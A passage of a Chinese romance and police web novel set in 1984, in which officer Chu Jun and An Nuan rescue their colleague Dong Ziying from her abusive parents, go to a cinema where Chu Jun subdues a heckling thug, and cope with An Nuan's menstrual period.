安暖再怎么不喜欢祁雨诗,也不会颠倒黑白,挑拨她们两人的关系。 董紫莺虽然有父母,但在京市还不如自己,也是孤家寡人,孑然一身,能有一个时刻惦记着自己的朋友,真的很幸运。 没想到董紫莺接着说:“但这次我能获救,楚队,小安,谢谢你们。我知道你们用心了。” 这说的,就有点不好意思了。 楚隽在前面开车,目不斜视。 “不必客气,这是我们应该做的。”楚隽正色说。 “对。”安暖也跟着道:“别说咱们是同事……不是,别说你和楚队是同事。就算不是,哪怕是素不相识的人,我们也会救的,你不用放在心上。” 董紫莺扯了扯嘴角,扯出一个没有笑容的笑,侧脸看向安暖。 “安暖,对不起。” “怎么突然说对不起?”安暖有些意外。 “之前,我对楚队说的那些话……伤害了你。” “别别别。”安暖不让董紫莺说完,捂住了她的嘴:“不用对不起,你没有伤害我。而且,你并没有做什么过分的事情,我不怪你。” 董紫莺没有死缠烂打,也没有恶意中伤,没有挑拨离间,只是对楚隽表白了一回。 表白不成之后,也没有什么后续不理智的行为。 董紫莺眨了眨,泪水哗哗流下。 都说家是避风港,外面狂风暴雨,回到家中,就有了保护和依靠。 但是对董紫莺来说,家才是狂风暴雨,刀剑冰霜。离开家,才发现外面根本就没有下雨,每一个人,都是好人。 安暖突然想起什么,让楚隽停车。 下了车,从后备箱里翻出一包吃的东西。 董紫莺今天一天肯定没吃什么,她父母不会想着给她吃喝,她自己大概也没胃口。 “来,吃点喝点。”安暖说:“有什么想说的,慢慢说,随便说。我们都是只有耳朵,没带嘴的,绝对不会说出去。” 人被压抑到了极致,需要发泄。 董紫莺现在最想做的事情,大概是找一个没人的地方好好的哭一场,或者,找个人倾诉。她心里长久以来,有太多太多的委屈,这些委屈一层一层的积压,一直到今天。 若是不发泄出来,可别憋出心理问题来。 楚隽头也不回:“你们可以当我不存在。” 董紫莺这一天确实没吃没喝,这会儿知道自己安全了,心情慢慢放松,也真觉得饿了。 她接过安暖递过来的食物和水,慢慢喝了几口,吃了几口。 董紫莺缓了缓,说起昨天的事情。 和他们问出来的相差无几。 董紫莺说完,有些奇怪。 “小安,楚队,你们是怎么找到这里来的?我知道你们一定会救我的,但我真的没想到,你们会来得那么快。” 安暖笑道:“我们是专业的呀。只要对方留下一点蛛丝马迹,就能顺藤摸瓜,找出线索。” 不用跟董紫莺说得多么艰难,安暖轻描淡写,不想让她有太多心理负担。 但是董紫莺都懂。 两个小时之后,回到了京市。 第141章 浅薄的亲情断了吧 本来楚隽是打算去最近的一家医院的,但看董紫莺没有什么很严重的伤,问了一下两人意思,干脆一口气开回了京市。 京市毕竟是熟悉的地方,有熟悉的医院,而且医疗条件也会更高一些。 就在警局不远,有他们常去的医院。 进医院的时候,已经是上午六点多了,天都亮了。 车停下之后,楚隽往后看了看,只见安暖和董紫莺都睡了。安暖正正经经的坐着,董紫莺却半躺着,将脑袋枕在安暖的腿上。 安暖搂着她的脖子,要是忽略性别不计,挺像一对恩爱小情侣的。 昨天上车之后,董紫莺开始还有些放不开,但是渐渐的,就说了起来。 她手里是水,却好像是在喝酒,说着哭着,哭着说着,一口一口,一句一句。 但是一天半夜的提心吊胆,让董紫莺精疲力尽,说了一个多小时之后,她不知不觉的睡了过去。梦中,还不时的抽搐一下。 董紫莺说着的时候,安暖每一句都有回应。 但是她一睡着,安暖也觉得累的不行。 楚隽一直听着,一句话都没有说,一直到听着后面没有声音了,这才回头看了一眼。 “小董睡了?” “嗯。” “你也一夜没睡了,赶紧休息一下。”楚隽说:“还有一个小时才能到。” 安暖确实也累了,于是赶紧睡了。 一直到了医院,楚隽才将两人叫醒。 安暖一叫就行了,董紫莺迷迷糊糊的。 安暖不得不又推了推她。 董紫莺一醒便是一个激灵,连眼睛都没睁开,先伸手先抱住了头。 “别打我,别打我。”董紫莺喃喃道。 安暖连忙伸手抱住董紫莺: “没事儿了,没事儿了,安全了,没人会打你。”安暖一连声道:“董紫莺,你睁开眼睛看看,是我……是我……” 董紫莺睁开眼睛,看见安暖的脸,显然松了一口气。 就这么一会儿的时间,她满头满脸都是汗,脸色惨白,呼吸急促。 安暖看了一眼楚隽,董紫莺虽然身体上的伤并不是很严重,但是可能要找个心理医生。不然这件事情会成为她的心魔,可能不太好过去。 还有,董紫莺的父母是不会因为这次的事情就被抓起来的,日后他们是不是还会来找董紫莺,这都不好说。她父母在的一天,董紫莺就会一日活在阴影之下。 但这事情只能从长计议,也不是一句话两句话可以解决的。 安暖扶着董紫莺下了车,往医院里走去。 很快将人送进了急诊。 楚隽道:“暖暖,这里你照看一下,我去打个电话。” 他们半夜从从家村出来的时候,楚隽就已经给局里打过电话了,跟江笑愚说了一声人找到了,让大家放心。这会儿再通知一声。 看董紫莺现在的状态,肯定是要在医院住几天观察一下的,她在这里无亲无故,肯定要安排人来照顾。 “好。”安暖说:“你安排一下,然后也要休息了。就算是年纪轻轻的,也不能一宿一宿的不睡觉。” 说着,安暖打了个哈欠。 她也就在路上打了一个小时的盹,比楚隽好一点,但是也没好到哪里去。 “好,我知道了。” 楚隽匆匆走了。医生给董紫莺检查了一圈,身上的伤不少,但是很严重的也没有。 医生还挺警觉,一看就是人为的外伤,特意问了一下是怎么回事,听说是被拐卖解救回来的,十分唏嘘。 等祁雨诗得了消息匆匆来的时候,董紫莺已经被安排住进了病房。 安暖跟医生沟通了一下,给董紫莺安排了单人间。 这几天,重点不是养伤,是平复心情,不适合和别人住在一起。 祁雨诗来了之后,抱着董紫莺难免又哭了一场。 江笑愚也过来了,和楚隽沟通了一下。 将董紫莺带回来,这是最关键的一步,也只是第一步,还有后续呢。 后续还不好处理,又牵扯到董紫莺的父母,又牵扯到两个不同的地方,还牵扯到本地村干部,要扯皮一下。 不过叫人很意外的,董紫莺的态度很坚决。 “我是被绑架的,楚队,我要报警,追究他们的法律责任。” 这一追究,董紫莺父母搞的不好是要坐牢的,他们这一段本来就浅薄的亲情,怕是要彻底断了。 “好。”楚隽说:“这件事情,你想怎么做,我们都会支持你的。” “对。”祁雨诗立刻说:“我们都支持你。” 董紫莺笑了一下:“楚对,小安,昨天辛苦你们了。你们去休息吧,我也想休息一下。” 楚隽看了看时间,已经是九点了。 董紫莺救回来了,后续事情交给江笑愚先跟进处理,可能还要去一趟从家村,将牵扯涉案人员接回来。但这都不是着急的事情了。 楚隽交代清楚之后,就带着安暖离开了医院。 幸亏他们现在住的地方离得近,走两步就到。 “一夜没睡,回去休息。”楚隽说:“累了吧?” “你更累。”安暖靠着楚隽往前走。 不但熬了一整夜,还来回开了五个小时车。 铁打的人,也是需要睡觉的。 两人回了家,匆匆洗漱休息。 安暖虽然累,但刚躺上床还有点睡不着。 虽然她和董紫莺没什么交情可言,但毕竟是身边的人,出了这样的事情,心里很是感慨。 同情,可怜,心疼,谈不上多深刻,但确实有很多情绪。 还有麻烦的后续,她翻来翻去,过了一会儿才闭上眼睛。 这一觉睡的沉,都没有觉得饿,再醒来的时候觉得外面的天色有些不对,一把抓过床头柜上的手表一看,已经是下午四点了。 安暖连忙爬了起来。 外面静悄悄的,桌上放着一张字条。 是楚隽留下的。 “我去警局处理后续,看你睡的香,没有喊你。你好好休息,醒了给我打电话。” 安暖抓了抓乱七八糟的头发,突然想到很尴尬的一件事。 刚才睡着的时候,楚隽进她房间了? 还看见她睡觉的样子了? 她应该没有踢被子,磨牙,打呼噜吧?睡相应该不丑吧。 这小姑娘啊,在在意的人面前,多少还是有点心理包袱在身的。 第142章 最麻烦的家务事 安暖坐在客厅里放空了一会儿,给楚隽打电话。 楚隽正在办公室里,接了电话看了看时间。 “这边的事情快处理完了,你不必过来了。”楚隽说:“在家里休息吧,我下班就回去。” “好。” 挂了电话,安暖莫名有一种放松的感觉。 她从冰箱里拿了点水果点心,一边往嘴里塞了,一边打开书。 还有三天,她就要去考试了。 虽然考的是初中课程,不是多难,但她毕竟已经离开初中太久了,很多地方还是得背,得温故知新。 安暖咔擦咔擦啃了一个苹果,摸了摸肚子。 还是饿,怎么说呢,昨晚上随便吃了几口,早上没吃,中午也没吃。 当人在饥饿的时候,就想吃点实在的东西,比如说,肉,肉,肉。光吃水果没什么用,就算是肚子饱了,心里也感觉还是饿着。 安暖想了一会儿,在桌上留了一张纸条,出门去了。 难得有一个空闲的时间,她打算去菜场买点菜,回来自己烧一顿。 安暖的厨艺还是不错的,虽然受不了一日三餐自己做,但空闲的时候,也有兴趣自己烧一顿两顿的。 今晚没事儿,她打算给楚隽烧一顿家常菜。 毕竟是京市,菜市场里还挺丰盛,虽然不如日后的品种琳琅满目,却也不少。 正是下班的时候,买菜的卖菜的都不少。 安暖难得自己烧一顿,家里又有冰箱,可以多买一点菜,今天吃不完,明天还能吃一顿。 挑挑拣拣的,买了一只鸡,切吧切吧炖土豆。 买了一块五花肉炒菜,又买了两条鱼。 再买了一块豆腐,做一个麻婆豆腐。 又买了点蔬菜。 这边的房子里,各种调料都是全的。 开始不全,楚隽从不在这边开伙,就算是偶尔晚上过来住,也会在外面吃了再回来。 自从他们俩正式搬过来之后,就将生活用品都补全了。柴米油盐什么都有,酱油辣椒大蒜都有,安暖将大包小包拎进厨房,关了门,哼着歌开始做菜。 做饭这种事情,偶尔为止是快乐的。 鸡和鱼都在菜市场叫老板帮忙处理干净切了块,只要清洗一下就能下锅。 楚隽今天果然准时下班了,下班后去买了点水果牛奶什么的,六点五十,推开了家门。 他立刻就闻到了香味。 “暖暖。”楚隽放下手里的东西,走到厨房:“你在烧菜呢?” “是呀。”安暖一回头:“下班啦,你休息一下,菜快好了。” 楚隽并不去休息,而是换了一身衣服,在厨房里这边看看,那边看看,自己找了双筷子,夹了一筷子已经炖好的土豆。 “嗯,味道不错啊。”楚隽吃了一块土豆,又吃了一块鸡:“你手艺真不错……嗯,我也有几个拿手菜。川菜,习惯吃吗?周末放假,要是不加班,我给你做。” 安暖提醒他。 “周末不是要去陪爷爷吗?” “哦,对。”楚隽说:“但是也不影响我下厨啊,有王姨打下手,我更是如虎添翼。” 安暖关火,盛出最后一道菜。 “好了。”安暖说:“开饭。” 楚隽挽了袖子,一起把菜端了出去。 三荤两素,五菜一汤,两个人吃可算是非常丰盛了。 楚隽和安暖对面坐下。 “董紫莺怎么样了?”安暖一边给楚隽盛饭一边问:“她爸妈呢?接回来了吗?” “接回来了。”楚隽叹了口气:“这事情要掰扯一段时间,可能没那么容易解决。” “怎么说?” “这事情其实很简单,就是个简单的绑架拐卖案件,麻烦的是,那是董紫莺的父母。” “嗯,我知道。我之前听董紫莺的意思,她是要追究的。” “对,她要追究,但是也不好说能追究到哪一步。” 陌生人强行带走一个女人,这肯定是犯法的,严打期间,对绑架拐卖妇女的惩治是非常严格的。 但现在是父母带走女儿,就算是暴力强行带走,那也有的扯皮。 安暖点了点头。 “我们做好自己能做的,其他也没有办法了。”安暖道:“真没想到,董紫莺看起来风风光光的,其实也是个可怜的姑娘。” “确实是看不出来,不过今天我也跟她聊了一下,说起对日后的计划。” 安暖端起盘子,夹了几块土豆在肉里,然后用勺子把软糯的土豆压扁成泥,一边搅拌一边问:“日后怎么办?” “我们也讨论了一下,日后很麻烦。”楚隽说:“就算董紫莺坚决要告,就算这案子能判,也判不了多久。她父母那样的人,无论受到了什么教训,也不会认为自己错了。等他们出来,一定会继续找董紫莺的麻烦。” 不怕贼偷,就怕贼惦记。 董紫莺父母这样的人,他们有自己的一套行为准则,在他们的世界里,没人能说服他们。就算是天塌下来,女儿也是要为儿子活该牺牲的。 想要让他们回头,难如登天。 可怕的是,董紫莺的父母年纪不算太大,身体也硬朗,日后能找董紫莺麻烦的日子还在后面。他们还有儿子,在这样父母的教育下,他们是什么样的人可想而知。 有他们在,董紫莺以后的日子不会好过。如果不出意外,不管董紫莺的父母如何,她弟弟不日就会来京。 亲姐弟,无论怎么闹,别人都很难插手。就算是闹大了,董紫莺可以报警,却也很难彻底解决问题。在所有的纷争里,家庭纷争永远是最麻烦的。 “真的很麻烦。”安暖用筷子戳着碗里的土豆泥:“虽然听起来有点怂,但是这种情况下,最好的办法只能是离得远远的。如果问我,想要永绝后患,我的建议是调离,离得越远越好。最好是改名改姓,天各一方,重新活过。” 楚隽喝了两口汤。 “董紫莺,也是这样想的。” 楚隽的声音里,也透着些无奈。 这世界就是这么无奈,即便董紫莺是个法医,常年在警局工作,这么努力这么优秀,也难脱离现实。 第143章 谈恋爱必做的一件事 如果董紫莺父母胆子小一点还好,哪怕极端一点,威胁恐吓一下还能解决问题。如果董紫莺父母是死皮赖脸的,除非他们过世,这问题就是死结。 在这个问题的纠缠处理中,董紫莺要非常强大,非常非常强大,不然的话,自己会先崩溃的。 可不要小看舆论的道德绑架,董紫莺父母再没有道理,他们站着父母的身份,便有天然优势。 楚隽道:“董紫莺的初步打算就是先离开京市,调到比较偏远的地方去。然后,她下一步的打算,可能打算出国。” 这个年代不像是三十年代之后,咨询信息十分落后,人海茫茫,天大地大,想找一个人是不容易的。 如果出了国,那就彻底安全。 “嗯,是个办法。”安暖感慨:“哎,对了,这事情你哥不是也知道吗,他有什么想法吗?” 楚隽愣了一下。 “对哦,我打电话给他说一声,他还不知道。” 翟琛知道一些,但是知道的不多。 “快说。”安暖说:“英雄救美的时候来了。” 楚隽拨电话号码的手顿了一下:“你说什么呢?” “什么我说什么,你不知道我说什么吗?”安暖也顾不上吃饭了,一溜小跑到电话旁:“董紫莺这种情况,除了远离,还有一个办法,就是要有一个绝对强势的人护着她。明里暗里,有无数手段的人。大哥就是这样的人啊。” 翟琛可不是个善茬。 在京市,翟家想要护住一个人还是可以的。 就看愿意不愿意护了。 楚隽皱着眉头,显然觉得安暖这话好像有哪里不对劲。 但是,又好像是对的。 安暖先按下话筒,让楚隽别着急打电话,先听她说话。 “你想想。”安暖说:“追求女孩子,古往今来,流传最广的一招是不是英雄救美。董紫莺一向强势,这是难得柔弱需要帮助的时候,正需要一个坚实的肩膀来依靠,给她遮风挡雨,给她抚平伤口,陪她度过漫漫长夜。你说,是不是正是用得上大哥的时候,这机会要是把握住了,他们俩的关系绝对有飞跃的进展。” 楚隽有些犹豫。 “可即便是这样,这也是恩情,不是爱情。” “那你错了,楚队你不懂爱。”安暖谆谆教诲:“并非一见钟情才是爱,爱情有很多种。依靠,心疼,崇拜,感激,都会变成爱,没有什么区别,不分高下深浅。” 楚隽在感情上确实研究不深,略一考虑,还是决定听安暖的话。 他当下给翟琛打了电话,说明了情况。 当然不是指导他做什么,只是将董紫莺的情况大概告诉他,再告诉他董紫莺现在住的医院病房号。 师傅领进门,修行靠个人。 剩下的事情,就靠翟琛自己了。机会能不能把握,缘份能不能成,就看天意了。 只是楚隽回来继续吃饭的时候,安暖叹了口气。 “要是大哥真的追到了董紫莺,伯母又要心梗了。”安暖说。 楚隽奇道:“为什么这么说?” “楚队,你可别跟我说,你什么都感觉不到。”安暖似笑非笑看着他:“你可不是傻白甜,不是跟我这会儿装盛世白莲花吧?” 楚隽被噎得脸色一变。 他心道安暖果然是立志要干刑侦的人,什么都瞒不过。 “是,我知道妈对你不太满意,是因为你的出身,但她和那些婆婆不一样,她就算现在心里有些别扭,面子上一定过得去,私底下也不会找你麻烦。有什么不满,她也会跟我说,不会跟你说,而事情到了我这里,我就会解决,不会留麻烦给你。” 比如之前给安暖买的手表,就在楚隽这里,轻松给怼了回去。 “我知道,所以我才愿意跟你处对象。”安暖说着处对象三个字,觉得特别有年代感:“我谈恋爱,是要感觉被爱,享受人生和青春的。不是和准婆婆斗智斗勇的。” 又不是升级打怪,是谈恋爱啊。 说不定她这辈子就能谈这一次恋爱,不想夹杂乱七八糟的东西。 要是翟琛追上董紫莺,楚母一调查,肯定两眼一黑。 董紫莺目前的社会身份比她强,学历比她强。但是身份背景,那父母家人,还不如她父母双亡来得干净。翟家这样的人家,有董紫莺这样的亲家,要是没处理好这关系,说不得要被撕下几块肉来。 人心难填啊。 安暖想着摇着头。 她是真的能理解门当户对。 “行了,别想那些,跟咱们没关系。”楚隽说:“吃饭,吃完饭,我们去看电影吧。” 楚隽从兜里掏出两张电影票来。 安暖一看也来了兴趣。 她以前是常看电影的,在这个年代,还没看过电影呢。 看名字,这就是部爱情片,叫时代之恋。 楚隽果然在认认真真地谈恋爱。 看爱情电影,是男女朋友必做的事情之一。 当下两人加快了吃饭的速度,把剩菜放进冰箱,脏碗丢进水槽。 明天会有阿姨上门来收拾衣服,打扫卫生,也会处理厨房里的卫生。他们俩工作学习都挺忙的,不想把时间放在日常琐事上。 吃完饭,两人换上情侣装,出去看电影。 感觉这日子过得还是很有盼头的。 楚隽买电影票的时候,是有一些心机的,买了最后面的两个连在一起的位置。 还买了爆米花和汽水儿,都是标配,一样不少。 电影开始放映,电影院里黑了 两人安静地看了一会儿,然后,楚隽就不老实了。 他在黑暗中摸索了一下,握住安暖的手,一根一根,掰扯着她的手指头。 难怪看电影是谈恋爱的标准姿势呢,黑灯瞎火,坐在一起,这是给了小情侣多少光明正大相处的机会啊。 安暖随便楚隽握着手,也有一下没一下地戳着他的手心。 被爱情冲昏头脑的人,就是这么幼稚。 正看着呢,安暖突然听见一些不一样的声音,转了下头,便看见黑暗中两个纠缠在一起的影子。 啧啧啧,果然不管什么年代都有大胆的人。 第144章 现场马赛克 电影院嘛,黑灯瞎火嘛,热情似火的小情侣嘛,一时情难自禁也是可以理解的。 楚隽就是比较矜持,不一定不羡慕。 当然安暖只看了一眼就收回了视线,盯着亲热的小情侣看,这是不厚道的。打扰别人谈恋爱,天打雷劈。 安暖偷偷地笑了一下,戳了戳楚隽。 楚隽也看了一眼,只看了一眼,然后果断地将她的脑袋掰了回来,按在自己肩膀上。 “别看别人。”楚隽伸手撩了撩安暖的头发,凑过去低声说:“看得人家不好不好意思了。” “嗯嗯嗯。”安暖缩着脖子靠在楚隽身上:“我知道,我知道。” 两人专心看电影。 但隔壁的动静没有变小,反倒是越来越大了,两人亲得忘情,男人的手,伸进女人衣服里也不知道在做什么。这幸亏是在电影院里,要是换个地方,这会儿就直接十八禁了。 安暖听得都有些尴尬了。 跟现场看小电影似的。 “……咱们,要不要先走?”安暖说:“这个电影也不是很好看……咱们回家睡觉吧。” 她总觉得,自己和楚隽,是隔壁小情侣快乐中的一环。 “嗯……”楚隽说:“行吧,那回家睡觉。” 这俩说得挺自然的,谁都没有觉得回家睡觉是一件多么暧昧的事情。 都是小情侣,他们俩显然还是纯洁了一些。 两人于是打算偷偷摸摸地离开。 离开的时候,要路过那对小情侣。黑灯瞎火的,就算不特意去看他们两人在做什么,也难免要看一下路,没想到安暖这一眼看过去,正好男人抬了下头。 两下视线正好碰上了。 这本来也是件平常的事情,安暖也没打算多看第二眼,但没想到对方被她这一眼看得发了毛,顿时就开口骂道:“看什么看,没见过小两口亲热啊,再看把你眼珠子挖出来。” 离得近了,安暖这才看清楚,小年轻染了一头黄毛,耳朵上戴着亮闪闪的耳钉,一副非主流打扮。 不过也不奇怪,能在这种场合干出这种事情的人,也不会是多正经的人。 楚隽本来走在前面,一听小混混骂骂咧咧,转头立刻先将安暖拉到自己身前。 “你说什么。”楚隽沉声道:“嘴里给我放干净点。” “呦,还有个硬茬子。”小年轻一听楚隽竟然干还嘴,立刻站了起来。 这还得了,这不是在自己女朋友面前没面子吗? 小年轻伸手就去拽楚隽的衣领。 安暖一看,立刻往后退了两步。 这电影院里,就不可能有打得过楚隽的人,这种时候,还是让男朋友上去解决问题。等解决不了再说。 小年轻的手都没有碰到楚隽的衣服,便被一把抓住了手腕一扭。 他开口一声惨叫,可惜没叫出来,就被捂住了嘴。 楚隽是一个特别有公德心的人,大家都看电影呢,而且是那么甜蜜的爱情片,气氛那么好,怎么能让一个闹哄哄的小混混可毁了呢? 当下,楚隽一手抓住小混混的手,一手捂住他的嘴,直接就将人拖了出去。 小混混的小女朋友赶紧跟在后面。 安暖也跟在后面。 不要打扰别人看电影,有什么事情,出去解决。 小混混心里已经开始不安了,但是这会儿他根本没得选择,被楚隽拖着踉踉跄跄地往外走,停都停不下来。 一直走到了外面,到了过道,楚隽才放开手,用力将人往前一推。 小混混的后背撞到墙上,痛得弯下了腰。 “你……你这个……”小混混吸了一口气:“你敢打我?” 他的小女朋友赶紧跑了过去,抓住了他的胳膊。 “打你怎么了?”楚隽慢吞吞地卷袖子:“你要是不服气,可以打回来。” 小混混在自己女朋友面前被打了,感觉自己受到了奇耻大辱,愤怒不已。他鼓起勇气,挥舞着拳头冲了上来。 但楚隽是什么人,一个小混混在他面前要是能耀武扬威,整个京市刑警队都可以一头撞死了。 小混混都没看清楚隽是怎么出手的,就被按在了地上。 楚隽蹲下,单膝压在他背上,无论他怎么挣扎,都动不了半分。 小混混手脚在地上乱扒拉,像是一只乌龟。可惜脑袋上染的不是绿毛,不然更像。 楚隽伸手拍了拍小混混的脸:“这是影院知道吗?公共场所你们是不是应该稍微克制点?被人看见了还打人。觉得自己很厉害,谁都能教训是吗?” 小混混口中骂骂咧咧的。 楚隽加大了一些力气,小混混痛得吱呀乱叫。 他女朋友慌了,想冲上来又不敢,胡乱地喊着:“你快放手,快放手,不然我就叫警察了。” 然后楚隽就把工作证摔在了小混混脸上。 小混混一看,指着工作证上的字,一个一个地认了一遍,中间还有两个字不认识。 但认出了警察的警。 这个字其实很复杂,是所有字里比画最多的,但是估计小混混日常见多了,所以第一时间认出了这个字。 本来他还在地上扒拉着胳膊腿,一看楚隽是警察,立刻就怂了,连头上的黄毛都垂了下来。 楚隽这才放开了手。 小混混爬了两下才爬起来,立刻和小女朋友瑟瑟发抖地抱在一起。 但一时不敢走,只敢瑟瑟发抖看着楚隽。 “走吧。”楚隽说:“下次注意点,要亲热就回家,别在外面打扰别人。” 小混混赶紧跑了。 楚隽摇了摇头,伸手:“走,我们回家。” 安暖走过去,伸手给楚隽。 “就这么放他走了?” “只是有点小冲突而已,教训教训得了。”楚隽说:“这种小混混,就算是送进派出所,也就是教育一下,暂时也没有更好的办法。” “嗯。” “不要影响我们的心情,走吧。”楚隽牵着安暖往外走:“虽然电影没放完,但是时间还早,商场还没关门,咱们去逛逛吧。” 楚隽这两天总惦记着,安暖没有什么首饰。 每次看看她光溜溜的脖子手腕,就觉得自己有点失职。 “行,逛逛去。” 安暖彻底想开了。 谈恋爱的时候,就开心地买。 这些大多是保值的东西,金银珠宝奢侈品,收据发票什么的她都留着,到时候如果和楚隽分手了,算清楚都还给他就好了。 要是没分手,真的结婚了,那他的就是自己的,更没有必要计较了。 第145章 生理期 人,有时候被困在局中,最怕的就是想不开。 一旦想开了,便能破一切困局。 安暖知道,不管她如何努力,如何发展,想要赶上楚隽的家世都是不太可能的事情。不管她以后会不会和楚隽在一起,占他们家的便宜是不可避免的。 只是占多占少,用什么方式占罢了。 既然如此,那就大大方方的。 不要当了那啥,还要立啥,坦坦荡荡的就好。 电影院附近就有商场,楚隽在楼下停了车,两人去逛商场。 离商场关门还有一个小时,两人也不着急,一路逛了上去,看看衣服看看鞋,看看家里的装饰品,看看零食,很有一种新婚夫妻的感觉。 商场里有一个进口零食柜台,都是些挺高端,挺贵的食品。安暖在里面挑挑拣拣的,买点巧克力咖啡什么的。 楚隽在一旁看着,冷不丁来了一句。 “安暖,你说,你真的是在农村长大的吗?” 安暖正在端详一盒巧克力,意大利的牌子,上面满满全是英文。她最近虽然临时抱佛脚学得挺有劲儿,但楚隽一直以为,天才也是要有一个限度的。 “不是呀,都说了不准确,我那是个小县城,不是个村。”安暖放下将巧克力放进购物篮:“楚队,你地理不好,不太合适吧?” 楚隽也丢了盒饼干进去:“是,是我口误。但是你来京市也才半个月,你怎么就……适应得那么好呢?我是真不明白。” 安暖站在大商场前的感觉,不像是乡下人进城,而像是城里人下乡。 不是,(⊙o⊙)哇,这花花世界。 而是,啧啧啧,就这……就这…… 楚隽真是怎么想也想不明白,为什么安暖能有这样的心态。 安暖的回答是耸了耸肩:“就……天生的吧,天生大气。” 无懈可击。 正挑着呢,安暖突然手上动作一顿。 楚隽感觉到了。 “怎么了?” 他拿过安暖手上拿着的糖:“这糖有什么问题?” “没……没什么问题。”安暖皱了眉:“是我有一点问题。” “怎么了?”楚隽赶紧看她:“有什么不舒服吗?” “额……”安暖脸上表情有点绷不住:“就……就……” 安暖朝楚隽招了招手,附耳过来。 楚隽赶忙凑过耳朵去。 安暖说:“我生理期来了。” 楚隽一听,顿时老脸一红,不过还是点头明白。 倒是安暖有点为难。 她来到这个年代半个月不到,还真没考虑过这个问题。那些自己常用的卫生巾牌子,这个年代可能还没有吧。再想想,也去逛过大市场小商铺,但是没有特别注意过店里有没有卖的。 安暖突然觉得头皮发麻。 1984年,有卫生巾了吗?该不会这东西还没有出现在市场上吧?这可就麻烦了。 “那现在怎么办?”楚隽说:“我们回家。” 回家是肯定要回家的,但也不能这么回家。 安暖感觉了一下说:“你先把外套给我。”楚隽赶忙脱下外套。 好巧不巧,安暖今天穿的还是条白色的裤子,这会儿也顾不上了,赶紧把楚隽的衣服围在腰上。这个点商场里还挺多人呢。 围好衣服,安暖说:“我现在不好跑来跑去……” “明白明白。”楚隽连忙点头。 安暖说:“你帮我找找,商场里有卖卫生巾的吗?” 楚隽的眼神有一瞬间迷茫,但还是毅然地去了。 我们英勇无比的楚队长,就好像是去执行什么危险的任务一般坚毅。 安暖以前的身体挺好,生冷不忌,生理期也没有什么特别的感受。这次却不行了,只觉得小腹一阵一阵地抽痛起来。 要命了不是,这身体难道有痛经的毛病,那可是遭罪了。 等了一会儿,楚隽回来了。 但手上没有拿袋子,难道是揣兜里了? 楚隽走了过来。 “怎么样?”安暖说:“买到了吗?” “没有,我问了一下,这个商场没有。”楚隽说:“这个东西用的人不多,市场上卖的人也不多,只有大一些的日用品店铺有,但是现在已经关门了,可能要明天才能买到了。小店铺里就算有一些,质量也堪忧。这个东西不能凑合,不卫生会健康的。” 安暖一听皱了眉。 真是时代的眼泪。 她虽然不知道这东西是什么时候开始普及,但确实有一个时间节点,在这之前,市场上是没有这个东西的。楚隽说用的人不多,可见已经有了,但是还没有普及。 楚隽接着说:“我想,家里应该是有的。这样,我先送你回三室套,然后你先用卫生纸凑合一下。我打电话回家问问,要是有,我开车回去取。要是家里没有,我问问已经结婚的朋友,看看哪家有,去拿一些。” 楚母这样时尚前卫的人,肯定是怎么舒适怎么方便怎么来,楚隽虽然也不是很清楚,但想着家里没准有。 “好。” 安暖挺欣慰的,不管在大事还是在小事上,楚隽想得都周到。 当下,安暖先去了一趟卫生间,然后首饰也不上买了,赶紧回家。 进了门,安暖先去洗澡换衣服,楚隽便去打电话。 安暖正冲着热水呢,外面楚隽便敲了敲门。 “暖暖。”楚隽在外面喊。 安暖连忙关了水,不然哗啦啦的听不清。 “我刚才给一个朋友打了电话,他妻子有,我现在开车过去拿。”楚隽说:“他们家离得比较近,来回半个小时。” “好。” “你洗好澡就上床躺着,等我回来。” “好。”安暖应着:“我没事儿,你去吧。” 生理期嘛,一个月一回,不是什么大事儿。 估计是楚隽没碰上过,有点比她还紧张了。 楚隽匆匆忙忙地出了门。 安暖洗好了澡,倒了杯热水,上床捂着去了。 说起来也是陌生,她以前从来没觉得这是件如此不舒服的事情。 在床上辗转反侧了一会儿,冷倒是不冷,但肚子越来越不舒服了。 安暖想着,是不是明天要去趟医院,找个中医看一看,开点什么药调理一下。不然这毛病虽然不致命,但是活受罪啊。 第146章 揉一揉肚子 也不知躺了多久,楚隽回来了。 手里拎着个包,里面东西还挺多,沉甸甸的,不像是只有两包卫生巾在里面的样子。 安暖没关门,楚隽直接就进来了。 他顺手脱了外套,放下包。 “现在怎么样?”楚隽一眼看着安暖皱着眉头一眼苦涩的样子:“很不舒服吗?要不要去医院?” “暂时不用。”安暖拒绝了:“你正常现象,没有那么严重。” “行。” 楚隽开始从袋子往外拿东西。 “你要的东西,来,你先去换上。” 楚隽非常非常坦然地拿出一个盒子塞给安暖。 安暖看了一下。 这还是外国进口的,估计这东西现在在市场上还属于高端产品。明天她要去日用品店里看一看,要是真的不合适,说不定还真要让楚隽找人给她海外代购。 她从心里感谢国家这些年日新月异的变化,一直在繁华中可能感觉不出来,这一旦有了对比,才知道这变化是天翻地覆的。在这个年代,即便是楚隽这样的条件,还是能感觉出大环境落后带来的不方便。 安暖拿着赶紧去了卫生间。 楚隽继续往外拿东西。 安暖出来的时候,只见床头柜上摆了好几样。 然后楚隽正在做一个十分奇怪的动作。 正在搓手。 “你……干什么?”安暖狐疑道。 “来,上床躺着。”楚隽连忙掀开被子,先把安暖塞进被窝:“喝点红糖水,我让嫂子给你熬的。” “哪个嫂子?”安暖反应了一下:“哦,是你朋友的妻子。” “对,我刚才打电话给她,说我女朋友生理期不舒服,问她应该怎么办。”楚隽理所应当说:“她说熬点红糖水喝。我一想,家里也没红糖啊,等我买了红糖再回来熬,那太费时间了,就麻烦她熬一碗,正好我开车过去,也就熬好了。” 桌上有一个保温杯,楚隽打开,里面果然冒着热气。 楚隽将保温杯递给安暖:“还拿了点止痛药,但是这个最好不吃,除非是痛得实在厉害。” 安暖接过保温杯,十分佩服。 “你是怎么跟你朋友说的呀,问的这么清楚。” “这有什么。”楚隽非常坦然:“打了电话找嫂子呗,然后就直接问啊。” “那……这种事情,你不会觉得不好意思吗?” 别说这个相对保守的年代,就是在四十年后,这种事情在有时候依然是种需要忌讳的事情。楚隽一个没有结婚的男人,竟然这么放得开。 要知道安暖在商场里让楚隽去帮她买卫生巾的时候,还是鼓起了一点勇气的。 生怕楚隽拉不下这个脸。 “这有什么不好意思的。”楚隽坐在床边:“这不是一件正常的生理现象吗?谁还能没有母亲,没有姐妹,没有老婆吗?又不是做了坏事,为什么要不好意思。局里的女同事,生理期的时候大家也会照顾的。” 安暖喝了一口热乎乎的水,只觉得舒服多了。 但是她看见楚隽挽起了袖子。 “你……要干嘛?” 安暖顿时觉得不妙。“给你揉揉肚子。”楚隽说:“嫂子刚教的,现学现用。” 